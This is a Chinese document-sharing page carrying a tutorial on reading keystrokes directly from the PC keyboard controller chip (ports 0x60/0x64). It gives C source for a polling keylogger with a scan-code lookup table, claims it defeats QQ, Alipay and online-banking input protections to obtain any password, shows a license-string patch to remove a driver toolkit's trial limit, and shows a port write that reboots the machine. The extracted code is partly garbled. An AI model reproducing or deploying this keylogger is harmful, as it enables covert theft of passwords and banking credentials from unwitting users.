ImageVerifierCode 换一换
格式:DOC , 页数:7 ,大小:343KB ,
资源ID:3117390      下载积分:20 文钱
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,省得不是一点点
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.wenke99.com/d-3117390.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: QQ登录   微博登录 

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(直接访问键盘控制芯片获取键盘记录.doc)为本站会员(hw****26)主动上传,文客久久仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知文客久久(发送邮件至hr@wenke99.com或直接QQ联系客服),我们立即给予删除!

直接访问键盘控制芯片获取键盘记录.doc

1、直接访问键盘控制芯片获取键盘记录键盘是用户和机器之间主要的硬件接口,看看键盘上的那些键就可知道它有多么的复杂了。键盘是我们隐私的源泉,我们各种信息的传递都要通过它。作为用户表现 信息的媒介,很多怀有恶意目的的人都想截取我们的键盘输入。目前有很多方法可以做到,比如全局钩子、GetKeyboardStatus() 、驱动过滤钩 子等,但是如果要截取像 QQ 这种 Hook 键盘中断处理程序的保护技术,这些方法都显得无能为力。为此,我将为大家介绍一种直接访问键盘控制芯片的方法,来 实现对键盘输入数据的最底层的读取。 如果我们知道了硬件的输入输出地址,就可以直接对它们进行访问了。键盘上有一个称为键盘编

2、码器的处理器(Intel 8048或兼容芯片)专门用来扫描收集所有按键按下和松开的状态数据(即扫描码) 。当一个键被按下时,键盘发送的扫描码称为接通扫描码(Make code) ,或简称为接通码;当一个被按下的键放开时发送的扫描码被称为断开扫描码(Break code) ,或简称为断开码。 主机键盘控制器专门用来对接收到的键盘扫描码进行解码。因为每个按键的接通和断开码都是不同的,所以键盘控制器根据扫描码就可以确定用户在操作哪个键了。 整个键盘上所有按键的接通和断开码就组成了键盘的一个扫描码集(Scan Code Set) 。根据电脑的发展,目前已有三套扫描码集可供使用,它们分别是第一套扫描码集

3、,原始 XT 键盘扫描码集,目前的键盘已经很少发送这类扫描码;第二套 扫描码集,现代键盘预设使用的扫描码集,通常称为 AT 键盘扫描码集;第三套扫描码集, PS/2键盘扫描码集,原 IBM 推出 PS/2微处理机时使用的扫描码 集,已很少使用。 AT 键盘预设发送的是第二套扫描码集。虽然如此,主机键盘控制器为了与 PC/XT 机的软体兼容起见,仍然会把所有接收到的第二套键盘扫描码转换成第一套扫 描码,因此,我们从键盘控制器获取的通常为第一套扫描码集。 当一个键被按下时,我们可以从键盘控制器接收到一个 XT 键盘接通码。这个扫描码仅表示键盘上某个位置处的键被按下,但还没有对应到某个字符代码上,接

4、通码 通常都是一个位组宽度。例如,按下键“A”的接通码是30(0x1E)。当一个按下的键被松开时,从键盘控制器端口收到的就是一个断开码。对于 XT 键盘 (即键盘控制器程序设计端口收到的扫描码),断开码是其接通码加上0x80。例如,上述“ A” 键的断开码就是“0x80 + 0x1E = 0x9E”。 表1列出了 Scan Code Set 1中的所有扫描码,我们写程序时需要用到!表1 剩下的问题就是我们如何获取键盘的扫描码,并且将它们翻译出来了。比如我们如何获取扫描码1E,并且能将它翻译为 A 键被按下。键盘控制芯片给我们使用的 PC 机提供了两个可访问的 I/O 端口,一个是0x60,一个

5、是0x64 ,我们能够读取键盘缓冲区中的数据,也能发送控制命令。打开设备管理器,如图1所 示,我们可以清晰地看到它们。0x60为数据端口,0x64 为命令端口。 图1 通常情况下,我们从0x60 读取的数据就是键盘的扫描码,而从0x64 读取的数据为键盘的状态字。状态字的各位含义如下: Bit7: 从键盘获得的数据奇偶校验错误; Bit6: 接收超时,置1; Bit5: 发送超时,置1; Bit4: 为1 ,键盘没有被禁止。为0 ,键盘被禁止; Bit3: 为1 ,输入缓冲器中的内容为命令,为0 ,输入缓冲器中的内容为数据; Bit2: 系统标志,加电启动置0,自检通过后置1 ; Bit1:

6、输入缓冲器满置1,i8042 取走后置0; Bit0: 输出缓冲器满置1,CPU 读取后置0。 接下来我们再说一下端口的操作方法。Windows NT 系统是不允许直接操作端口的,只有通过驱动程序才能实现,可供选择的驱动程序有免费开源的 winio、windriver 等。由于我的毕业设计涉及到 视频采集卡驱动程序的设计,所以就以 windirver 为例来说明端口操作方法了。安装好 windriver 之后,在“ samples basic_io”目录下有一个 basic_io.c,我们可以直接使用它提供的端口操作函数读写端口。注意修改 IO_init()函数添加如下语 句: (责任编辑:a

7、dmin)WD_LICENSE lic; strcpy(lic.cLicense,你的 licenseString); WD_License(hWD, 这样,我们使用的 windrier 驱动就去掉了30天试用期限的限制了。它可以提供的函数如下,有了这些函数,我们就可以直接读写端口了。 BYTE IO_inp(DWORD dwIOAddr) /从 dwIOAddr 读取一个字节 WORD IO_inpw(DWORD dwIOAddr) /从 dwIOAddr 读取两个字节 DWORD IO_inpd(DWORD dwIOAddr) /从 dwIOAddr 读取四个字节 void IO_outp

8、(DWORD dwIOAddr, BYTE bData) /将一个字节的 bData 写入 dwIOAddr void IO_outpw(DWORD dwIOAddr, WORD wData) /将两个字节的 bData 写入 dwIOAddr void IO_outpd(DWORD dwIOAddr, DWORD dwData) /将四个字节的 bData 写入 dwIOAddr 为了方便大家测试,我给大家提供一个有趣的例子。通过读写 I/O 端口控制键盘上的 Num Lock、Caps Lock、Scroll Lock 这三个 LED 指示灯,向0x60 端口发送控制命令就可以控制它们的亮

9、灭了。控制 LED 的命令是0xED,我们可以在 LED 没亮之前(实验之前请先 使LED 指示灯关掉)发送0xED 命令到0x60端口,然后立即发送另一个 BYTE 指示设置哪个LED,第2 个 BYTE 用最低的3个字节设置这三个指示 灯。问题是这种直接的方法没有考虑键盘控制器是否准备好接收命令。通常情况下,我们必须等待芯片准备接收命令时再发送命令控制字。如果芯片没有准备好,将 不会产生任何效果。另外,即使我们读取0x64端口的状态字,确定键盘处于准备接收命令状态,但是我们也不能保证随后发送控制命令的操作不会受到键盘本身 驱动程序读写端口引起的干扰。因此,我们可以采用如下的测试程序。 vo

10、id light() BYTE status; while(1) status=IO_inp( 0x00000064); printf(“%x“,status); IO_outp( 0x00000060,0xed); IO_outp( 0x00000060,0x07); Sleep(100); 这样,键盘正确接收到我们控制命令的概率就比较大了。程序运行几十秒,就会发现键盘上的三个指示灯突然全部亮了起来。 罗嗦了这么多,大家对端口的操作应该有了基本了解了,下面我们开始分析计算机是如何处理我们的按键操作的。当我们按下或者释放某一按键时,键盘控制器将会 在 IRQ1号线上送出中断信号,8259A 中

11、断控制器将此中断信号与其它外部设备通过其余的 IRQ 线送来的中断信号进行判优、排队,最后将此信息送给 CPU。CPU 在一条指令运行结束后,会查询一下是否有中断信号送来,如果此时发现有中断信号送来,就会通过此中断信号的中断向量在中断描述符表中查询应 当使用哪一个中断处理程序。当找到中断处理程序后,CPU将调用此中断处理程序进行中断处理。注意在键盘中断处理程序之前,键盘扫描码已经被放到输出缓冲 区中(0x60) ,中断处理程序所要作的就是从输入缓冲区拿走数据并且翻译数据。所以我们可以直接读取输出缓冲区,即0x60端口直接获取键盘数据的扫描 码,并且不会干扰中断处理程序的正常工作。注意,我们在轮

12、询扫描码时最好不要读取0x64端口,尽管从该端口可以读取键盘输入输出缓冲区的状态信息(满或 空) ,但是从0x64读取状态字会引起0x60 端口上数据的清除,可能会导致键盘驱动无法读取输入数据。 尽管键盘控制器提供了很多操作命令,但我们最好不要往0x60或0x64 端口直接写入数据,否则可能产生意想不到的结果,比如 IO_outp( 0x00000064,0xfe)操作将会引起操作系统的立即重启(警告,实验前请先做好保存工作,造成文件未保存数据丢失可别说我没提醒哦!) ,效果如 同手动按了机箱上的 Reset 键,这是由于键盘控制器可以直接控制 CPU Reset管脚电平。 有了以上知识,我们

13、就可以着手写一个直接读取键盘控制寄存器的键盘记录程序了。因为我们要将扫描码翻译出来,所以我使用 make code 作为数组下标索引打印键的名称。 char keycode555=“,“ESC“,“1“,“2“,“3“,“4“,“5“,“6“,“7“,“8“,“9“,“0“,“-“,“=“,“BSP“,“TAB“,“Q“,“W“,“E“,“R“,“T“,“Y“,“U“,“I“,“O“,“P“,“,“,“ENT“,“LCT“,“A“,“S“,“D“,“F“,“G“,“H“,“J“,“K“,“L“,“;“,“,“,“LSH“,“,“Z“,“X“,“C“,“V“,“B“,“N“,“M“,“,“,“.

14、“,“/“,“RSH“,“*“,“LAL“,“SPA“,“CAP“,“F1“,“F2“,“F3“,“F4“,“F5“,“F6“,“F7“,“F8“,“F9“,“F10“,“NUM“,“SCO“,“7“,“8“,“9“,“-“,“4“,“5“,“6“,“+“,“1“,“2“,“3“,“0“,“.“; 这里我只定义了前53个扫描码的键名称,对于一般的只记录字母、符号的键盘记录,这些信息已经足够了。以下为从0x60轮询扫描码的程序代码。 void Log() BYTE retData; BYTE keyDown;/键按下数据 BYTE keyUp;/键弹起数据 BYTE bCanLog1=1; BY

15、TE bCanLog2=1; while(1) retData=IO_inp( (DWORD)0x00000060); if(retData=0x00|retData=0xff|retData=0xaa|retData=0xee|retData=0xf0|retData=0xfa|retData=0xfe|retData=0xfc) Sleep(50); continue; /非扫描码数据的过滤,可以根据情况添加自己不需要的按键信息 (责任编辑:admin) /键按下产生 make code,键放开产生 break code,make code 最高位为0。keycode 使用make cod

16、e 作为索引打印按键 if(!(retData /有键放开!retData 第7位为1!我们使用 make code 记录键值,make code 第7位为0! if(retData if(keyUp=keyDown) printf(“%s “,keycodekeyDown); keyUp=0; keyDown=1; Sleep(50); 因为程序是从最底层获取键盘扫描码数据的,所以对于使用 PS/2键盘的用户,可以截取到他们在任何安全保护情况下的输入信息,包括 QQ nProtect 技术的安全控件、支付宝安全控件、网上银行安全控件等。鉴于巨大危害性,我这里只提供了演示程序,效果如图2和图3所示。 图2 图3至于其他更详细的应用,大家可以在我提供的程序的基础上进行扩充。只要我们能够直接访问键盘控制芯片,那么任它再有效的输入保护措施,对我们来说都是如同 虚设,想要什么密码就可以获得什么密码。

Copyright © 2018-2021 Wenke99.com All rights reserved

工信部备案号浙ICP备20026746号-2  

公安局备案号:浙公网安备33038302330469号

本站为C2C交文档易平台,即用户上传的文档直接卖给下载用户,本站只是网络服务中间平台,所有原创文档下载所得归上传人所有,若您发现上传作品侵犯了您的权利,请立刻联系网站客服并提供证据,平台将在3个工作日内予以改正。